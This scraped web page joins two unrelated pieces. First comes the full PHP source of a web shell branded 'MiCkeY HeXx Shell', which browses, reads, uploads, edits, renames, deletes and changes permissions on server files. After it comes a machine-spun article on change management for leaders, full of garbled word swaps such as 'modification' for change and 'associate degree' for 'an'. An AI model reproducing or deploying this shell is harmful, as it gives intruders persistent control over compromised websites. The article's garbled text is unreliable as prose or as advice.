$value){ $_POST[$key] = stripslashes($value); } } echo 'MiCkeY HeXx Shell

[!] MiCkeY HeXx SheLL [!]

'; if(isset($_GET['filesrc'])){ echo "
Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path);foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload File Success!
'; }else{ echo 'Failed for Upload File!
'; } } echo '
Upload File :
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Success~!
'; }else{ echo 'Failed for Change Permission !
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Change Name Success!
'; }else{ echo 'Failed for Change Name !
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit File Success!
'; }else{ echo 'Failed for Edit File!
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Dir Success!
'; }else{ echo 'Failed for Delete Dir!
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Success!
'; }else{ echo 'Failed for Edit File!
'; } } } echo '
'; $scandir = scandir($path); echo '
';foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; }echo ""; } echo '
Name
Size
Permissions
Options
$dir
--
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '';echo "
\" />
$file
".$size."
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
\" />
'; } echo '
Recode by MiCkeY HeXx - NerdSquad Team'; function perms($file){ $perms = fileperms($file);if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; }// Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));// Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));// World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info; } ?>

Four Key Elements of Change Management for Leaders

Future-seeking organizations ar aware of modification. it’s a locality of what keeps them growing and thriving. whereas modification could also be common within the aid trade, it doesn’t perpetually mean that folks ar comfy with it. In fact, there ar few those who would embrace modification with open arms, no queries asked.

For the bulk of individuals, modification may be a struggle that brings uncertainty. can this work? What will this mean for me? can things improve or worse? it’s far more comfy living within the legendary, albeit you’re not proud of your current reality.

This is true aid leaders realize themselves in once attempting to implement a replacement initiative. this can be once leadership should improve and lead their team through modification. this can be not perpetually straightforward, as those in leadership positions can also struggle with modification. however leadership’s buy-in is crucial for seeing a victorious outcome. Key components that a frontrunner ought to utilize once leading through modification include:

Clear communication
To prepare a corporation for a victorious project initiative, a transparent definition of why the modification is happening is important. many of us get wedged with what’s happening and lose sight of the explanation why it’s happening. Leaders ought to communicate with their employees what is going to be asked of them and justify the advantages of the new initiative. Following up every individual’s role within the project with why the modification is important can offer them personal responsibility to ascertain it through.

Be sympathetic, not sympathetic
A significant issue that would simply sidetrack a frontrunner throughout modification management is being sympathetic to their staff’s considerations. sensible leaders genuinely care concerning their team members, therefore it’s typically troublesome for them to ascertain a team member struggle with modification. A process moment is however leaders subsume this example.

When trying to comfort a team member whining concerning modification, a frontrunner makes is cautioned against statements like, “I’m not too excited concerning it either.” This communicates the message that the leader isn’t in support of the modification, therefore why ought to the worker be? a very sympathetic response like this will offer workers the choice of not shopping for into the modification, since their leader isn’t entirely confirmatory of it, either.

Leaders will support their team by loaning associate degree sympathetic ear whereas keeping everybody aligned with the target. once a team member is human action their considerations with the project, the ready leader responds to resistance with “How am i able to help?” workers then grasp their leader is there to support them whereas the project moves forward.

Work with the willing
Leaders ar typically drawn to those that ar battling modification. they will focus associate degree inessential associate degreed unproductive quantity of your time attempting to align change-resistant mindsets with an initiative. this will derail a project’s momentum. A a lot of valuable thanks to see a victorious implementation is to devote their efforts to operating with those that ar willing to try to to their half. Champions of modification ought to be supported and exemplify personal responsibility to the project.

Hold employees responsible
Accountability is a very important worth to uphold once managing a work force. Setting expectations and promoting personal responsibility creates a culture of responsibility. responsibility is a strong incentive for workers to perform. employees satisfaction is tied to responsibility and appreciation for managers United Nations agency hold those that don’t seem to be responsible to the standards expected.

Change needs new habits to align with structure objectives. It’s not a straightforward method and doesn’t happen nightlong. Leaders play associate degree exceptionally vital role once implementing modification in their organization. sturdy leaders support and encourage their workers to adapt, knowing the organization are going to be stronger as a result.

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